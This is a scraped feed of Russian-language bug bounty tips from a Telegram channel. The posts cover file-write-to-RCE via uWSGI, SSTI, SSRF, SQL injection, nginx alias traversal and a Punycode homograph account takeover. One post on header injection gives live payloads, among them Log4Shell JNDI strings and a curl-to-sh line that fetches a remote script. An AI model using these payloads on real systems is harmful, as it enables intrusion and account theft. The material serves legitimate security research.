Standoff Bug Bounty Tips – Telegram
⤴️ Arbitrary file write —> Remote code execution

В реальной практике существует несколько кейсов, с которыми можно столкнуться при повышении от AFW к RCE в веб-приложениях. Их можно обобщенно разделить на следующие категории:

🔘Контроль полного пути файла или только имени загружаемого файла, но не его содержимого.

В зависимости от разрешений, применяемых к целевой директории и целевому приложению, последствия могут варьироваться от DoS до вмешательства в логику приложения с целью обхода потенциально уязвимых функций.

🔘Контроль только над содержимым загружаемого файла, но не над его путем. В этом случае последствия могут сильно различаться из-за множества факторов.

🔘Полная произвольная запись файла: контроль и над путем, и над содержимым файла. Это часто приводит к RCE с использованием различных методов.

Тактики для достижения RCE через AFW:

1️⃣ Перезапись или добавление файлов, обрабатываемых сервером:

— Конфигурационные файлы (.htaccess, .config, web.config, httpd.conf)
— Исходники, доступные для выполнения (.php, .jsp)
— Временные/сессионные файлы, файлы с секретами

2️⃣ Манипуляции с procfs для выполнения произвольного кода

3️⃣ Перезапись системных файлов:

— Cron, bash-скрипты (.bashrc, .bash_profile)
— Файлы authorized_keys и authorized_keys2 для получения доступа через SSH

👉 Еще один интересный кейс

Предположим, что уязвимость позволяет загружать и изменять файлы через функцию экспорта в PDF.

Приложение работает на uWSGI, который поддерживает различные способы конфигурации, включая загрузку конфигов через обычные .ini файлы.

uWSGI поддерживает «магические» переменные (@exec://), которые позволяют выполнять произвольные команды.

При включенной опции py-auto-reload перезагрузка конфигурации может быть вызвана изменением Python-файлов, что дает шанс выполнить команду.

💪 Собираем в цепочку

1️⃣ Генерируем и проверяем PDF-файл:

 
uwsgi --ini payload.pdf


2️⃣ Загружаем payload.pdf в /app/console/uwsgi-sockets.ini

3️⃣ Ждем перезапуск сервера или принудительно перезагружаем uWSGI, перезаписав все .py файлы

4️⃣ Проверяем коллбэк и сдаем багу
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5🔥3
Что отличает опытного багхантера от новичка? Возможность наткнуться на что-то с низким импактом и раскрутить до более серьезной проблемы💡

Web cache deception — в помощь!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥123👍3
🔍 Как найти баги в API: 12 проверенных способов

Это далеко не все возможные техники, но именно они чаще всего приводят к результату на практике:

1️⃣ Blind XSS через заголовки: приложения могут логировать ваши данные различными способами, поэтому проверяйте XSS-пэйлоад в HTTP-заголовках (X-Forwarded-For, Referrer, User-Agent и других)

2️⃣ Устаревшие API: /api/v2/api/v1, /api/v2/api/, api-v2.example.comapi-v1.example.com или api.example.com

3️⃣ SSRF: заменяйте любой URI в запросах на контролируемый вами ресурс через Proxy Interceptor Match & Replace Rule и ждите входящие соединения

4️⃣ Поиск эндпоинтов: используйте GitHub, Google/Yandex дорки, анализируйте JavaScript, Swagger API или другую документацию

5️⃣ CSRF: удалите или замените anti-CSRF токен, меняйте Content-Type и метод запроса

6️⃣ Эксплуатация JWT: ищите слабые алгоритмы подписи, пробуйте манипулировать с токенами

7️⃣ Обход 401/403: попробуйте получить доступ ко вложенному пути (/admin 401 → /admin/system-resources 200), добавьте спецсимволы или измените методы запроса

8️⃣ Неправильная настройка CORS: проверьте правильность настроек CORS и убедитесь, что API позволяет отправлять запросы из любого источника с использованием учётных данных

9️⃣ Тестирование race conditions: проверяйте так называемые high-value транзакции — загрузка файлов, размещение заказов, платежи, переводы

1️⃣0️⃣ XXE: измените Content-Type с application/json на application/xml и проверьте на наличие XXE

1️⃣1️⃣ NoSQL инъекция: манипулируйте параметрами и добавляйте MongoDB (или любой другой NoSQL БД) пэйлоад для обхода ограничений

1️⃣2️⃣ Обход загрузки файлов: пробуйте загрузить файлы с нестандартными расширениями или без них, используйте известные методы обхода (null byte, magic byte и другие)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
11🔥3
💡 4 простых способа обхода ошибки 403 (Forbidden) и получения доступа к админке

Это далеко не все возможные методы обхода ограничений, но даже такие простые и зачастую недооцененные техники могут быть весьма эффективными.

💬 Какие способы вам удавалось применять на практике? Делитесь в комментариях 👇
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥144🤔2
🔥 Реверс JavaScript еще никогда не был таким простым

В DevTools есть функция debug(), которая ставит breakpoint каждый раз, когда вызывается переданный в нее аргумент.

Это работает даже для встроенных методов — больше не нужно оборачивать их в прокси.

debug(DOMParser.prototype.parseFromString)
Please open Telegram to view this post
VIEW IN TELEGRAM
11👍3🔥3
💨 Повышаем импакт SSTI до RCE

Когда веб-приложение обрабатывает пользовательский ввод как часть шаблона, можно использовать встроенные функции шаблонизатора для отображения пользовательских данных, доступа к секретам, чтения локальных файлов и даже удаленного выполнения кода.

Но перед этим важно идентифицировать потенциальную уязвимость SSTI. Один из способов — преднамеренно вызвать ошибку с использованием различных спецсимволов:

{
}
$
#
@
%)
"
'
|
{{
}}
${
<%
<%=
%>


Как только мы подтвердим точку инъекции, переходим к следующему этапу — отправке различных пэйлоадов для инъекций в шаблон и наблюдению за тем, какие из них были обработаны.

Этот этап критичен, так как он поможет определить используемый движок шаблонов и создать эффективный пэйлоад для эксплуатации.

Все движки шаблонов используют различный синтаксис, но некоторые элементы могут быть схожи. Несколько часто используемых движков шаблонов рассмотрено в недавнем гайде от Intigriti:

▪️Python: Jinja2, Mako
▪️PHP: Twig, Smarty
▪️JavaScript: EJS, Handlebars, Pug
▪️Java: Thymeleaf, FreeMarker, Pebble
▪️C#: Razor
▪️Ruby: ERB, HAML, Slim
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍2
🔍 Eval Villain: умный парсинг JavaScript до загрузки страницы

Задумывались, как лучше находить скрытые GET-параметры или отлавливать DOM XSS? Вместо того чтобы тратить время на брутфорс, попробуйте расширение Eval Villain!

⚡️ Что умеет?

💚 Перехватывает нативные JavaScript-функции до загрузки страницы

💚 Парсит URL, сессии и другие параметры.

💚 Рекурсивно декодирует источники и помогает обходить обфускацию

🛠 Как помогает?

💚 Находит скрытые GET-параметры через перехват парсера URL: URLSearchParams.get

💚 Идеально для обнаружения DOM XSS: перехватывает JavaScript sinks и отслеживает ввод на наличие строк, найденных в источниках

💚 Сужает вывод на основе появления URL и артефактов сессии, строк/регулярных выражений, настроенных пользователем, черных списков и других параметров
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥93👍3🤡1
🔥 Как превратить blind SSRF в полноценную SSRF: новый подход от команды Assetnote

Blind SSRF в облачных окружениях часто упирается в то, что приложение не возвращает полный ответ — а значит, забываем про доступ к метаданным для получения учетных данных.

💡 Новая техника заключается в циклическом редиректе — и для ее тестирования стоит проверить, как ведет себя приложение в случае нескольких редиректов:

Предположим, несколько редиректов вызывают ошибку парсинга JSON (Exception: Invalid JSON). Если увеличить число до ~30, появляется другая ошибка — NetworkException.

На 500-ой ошибке приложение возвращает полный HTTP-ответ, но нам нужны облачные метаданные, а для них ответ всегда 200, и изменить его нельзя.

Зная, что приложение следует за 3xx редиректами, можно предположить, что некоторые 3xx коды могут вызвать тот же сбой, что и 500. А что если перебрать разные 3xx коды? Пример простого приложения — выше.

При эксплуатации SSRF путем указания URL-адреса, содержащего указанную логику, приложение отвечает полной цепочкой редиректов HTTP и нужным ответом.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73
🧐 Эксплуатация SQL-инъекций при использовании prepared statements

Даже если приложение безопасно обрабатывает SQL-запросы и предпринимаются меры для защиты от SQL-инъекций, использование уязвимой сторонней библиотеки всё равно может свести защиту на нет.

Чаще всего всё ломается на строковых параметрах — если они плохо экранируются, можно сломать синтаксис запроса. Но что если сломать запрос можно не только строками? Например — комментариями.

MySQL требует пробел после --, чтобы строка была интерпретирована как комментарий. А вот PostgreSQL — нет. И тут всё зависит от режима работы:

#️⃣Простой (simple query) — SQL-строка уходит целиком, а параметры клиент подставляет сам.

#️⃣Расширенный (extended query) — SQL и параметры передаются отдельно, что исключает любые синтаксические фокусы.

Но многие клиенты PostgreSQL по умолчанию работают в простом режиме. А иногда расширенный вообще отключён — как, например, в старом PgBouncer или в некоторых конфигах Datadog.

В простом режиме все зависит от того, как библиотека вставит параметры. Например, PgJDBC при запросе SELECT 1-? и значении параметра -1 сгенерирует:

SELECT 1--1


PostgreSQL воспримет -- как комментарий и просто проигнорирует 1. Такая же история — в pg-promise, pgx, pg, pgdriver.

Но можно зайти ещё дальше. Если параметр — многострочная строка, можно внедрить свой код. Комментарий завершится на символе перевода строки, и остальная часть кода будет исполнена. Это даёт возможность внедрить произвольный SQL-код, если вы контролируете параметры.

🔗 Пруфы — в исследовании команды Sonar
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥4👍3
🤔 Нашли слишком простую багу? Подумайте шире. Reflected XSS + слабая логика = полный захват аккаунта.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥86
🖼️ Делегирование событий в JavaScript

Одна из интересных техник, на которую стоит обратить внимание при поиске багов в JS-коде — это делегирование событий. Вместо того чтобы вешать обработчик на каждый элемент, его вешают на document и обрабатывают клики через event.target.

🚨 Ключевой момент: такие обработчики работают даже для новых элементов, добавленных позже, например, через HTML-инъекцию.

Если вы можете внедрить элемент:

<a class="btn" href="https://evil.com">Click me</a>


и приложение уже слушает .btn на document — ваш элемент тоже будет обработан, как «родной».

💥 Это может привести к:

▪️Переходу по ссылке.
▪️Отправке запроса.
▪️Запуску JS-функции.

🔍 Ищите такие обработчики, проверяйте селекторы и пробуйте инжектить элементы, которые их триггерят.
Please open Telegram to view this post
VIEW IN TELEGRAM
5
💨 X-Correlation Injection: когда X-Request-ID становится оружием

HTTP-заголовки вроде X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.

🔍 Как искать

▪️Ищите заголовки с id в ответе (x-transaction-id, x-corellation-id, access-control-*).

▪️Проверяйте, отражается ли значение вашего заголовка в ответе — это может быть индикатором уязвимости.

▪️Фаззинг: вставляйте случайные ASCII-символы и смотрите на ошибки/аномалии (500, странное поведение).

x-request-id: ' " % & > [ $


💥 Примеры атак

🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка

☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00\u010d может стать \n → новый заголовок

💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте

🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳

🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру

🕵️‍♂️ Оптимизация OOB/Blind RCE

При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:

▪️Сбор данных после триггера.

▪️Байпас WAF: ${IFS} для пробелов в shell могут блочить, но $IFS — нет.

▪️Избегайте пробелов вообще — они могут "сломать" пэйлоад в разных контекстах.

▪️Используйте уникальный пэйлоад, чтобы отслеживать факты сработки (своего рода request-id).

▪️Если пэйлоад сработал и, например, вызвал команду curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.

▪️Оповещение о событиях через Discord/Slack/Telegram.

Пример из практики:


'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)
Please open Telegram to view this post
VIEW IN TELEGRAM
117🔥6
😎 Поиск SSTI в лайт режиме

Tplmap + GAU = SSTI на автопилоте. Просто дай ссылку — он сам найдёт, где шаблон не закрыли.

🤌 Что делаем:

➡️gau example.com — собираем эндпоинты
➡️tplmap.py -u {url} — проверяем на SSTI

На примере tplmap нашёл уязвимость в _transaction_id, определил движок Jinja2 и успешно заинжектился через {{*}}. Контекст — текст, техника — render, ОС — Linux. Всё по красоте.

Инструмент умеет находить и эксплуатировать SSTI в популярных шаблонизаторах — вплоть до доступа к файловой системе и выполнению команд на сервере.

⚠️ Проект уже не поддерживается, но логика и подход по-прежнему актуальны. Отличная отправная точка, если хочешь собрать свой инструмент для автоматизации SSTI.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥102👍2🤔1
🏹 Распространенные ошибки в reverse-прокси: алиас со слэшом в конце

Reverse-прокси — серверы поверх веб-приложений, которые маршрутизируют трафик, управляют заголовками и т. д.

Файл /etc/nginx/nginx.conf содержит глобальные настройки и строку для подключения всех конфигов из /etc/nginx/conf.d/.

http {
...
include /etc/nginx/conf.d/*.conf;
}


Эти файлы находятся в контексте http {}, поэтому их не нужно открывать заново. Часто здесь добавляют дополнительные опции для контекста http, а также определения server {} для каждого приложения.

Одна из распространенных ошибок, которая может привести к уязвимости, — алиас со слешом в конце. Это происходит, когда выполняются два условия:

В location отсутствует слэш в конце
Директива alias или proxy_pass содержит слэш в конце

☝️ Пример выше показывает эту багу дважды. Проблема в том, что location /static будет соответствовать любому пути, начинающемуся с /static, включая /staticANYTHING или /static../anything.

После этого Nginx удаляет этот префикс и продолжает с оставшимся путем. Теперь это может быть ../anything, и при добавлении к static/ или v1/ может привести к переходу на один уровень выше:

GET /static../index.php HTTP/1.1


В итоге получаем путь /app/static/../index.php, который может раскрыть чувствительные исходники в /app/index.php.

💡 Та же идея с proxy_pass — его можно использовать для доступа к непредназначенной директории на бэкенде, используемой для отладки, других версий или даже другого приложения.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍64
🔫 0-Click Account Takeover с использованием атаки Punycode IDN Homograph

Гомографическая атака (IDN Homograph Attack) использует визуально схожие символы из разных алфавитов, чтобы подменить идентификаторы пользователей — чаще всего email-адреса.

Суть проста: уязвимая система может считать admin@example.com и аdmin@example.com (кириллическая «а» вместо латинской) одним и тем же адресом, а мы используем это, чтобы обойти регистрацию, сброс пароля и даже 2FA.

👉 Пример простой атаки:

Нам потребуются Burp Suite, Burp Collaborator и генератор Punycode.

1️⃣ Регистрируем аккаунт с использованием обычного email

security@gmail.com.bcrkly6yl8ke552nzjt7jtu52w8nwdk2.oastify.com


Проверяем, что почта пришла, логинимся и выходим.

2️⃣ Повторно регистрируемся, но с Punycode

Через Burp перехватываем POST-запрос регистрации. Заменяем a на à или кириллическую а (в зависимости от цели):

security@gmàil.com.bcrkly6yl8ke552nzjt7jtu52w8nwdk2.oastify.com


🎯 Если сервер отвечает:

Email already exists — значит, произошла коллизия (он считает адрес одинаковым).

3️⃣ Переходим к сбросу пароля

▪️В форме сброса указываем Punycode-адрес.
▪️Отправляем через Burp (иначе браузер перекодирует URL).
▪️Ждём отклика в Burp Collaborator: если прилетает SMTP callback со ссылкой на сброс — атака сработала.

4️⃣ Меняем пароль и логинимся

▪️Открываем ссылку из письма.
▪️Задаем новый пароль.
▪️Авторизуемся с оригинальным email и новым паролем.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22🤯74👎2😁2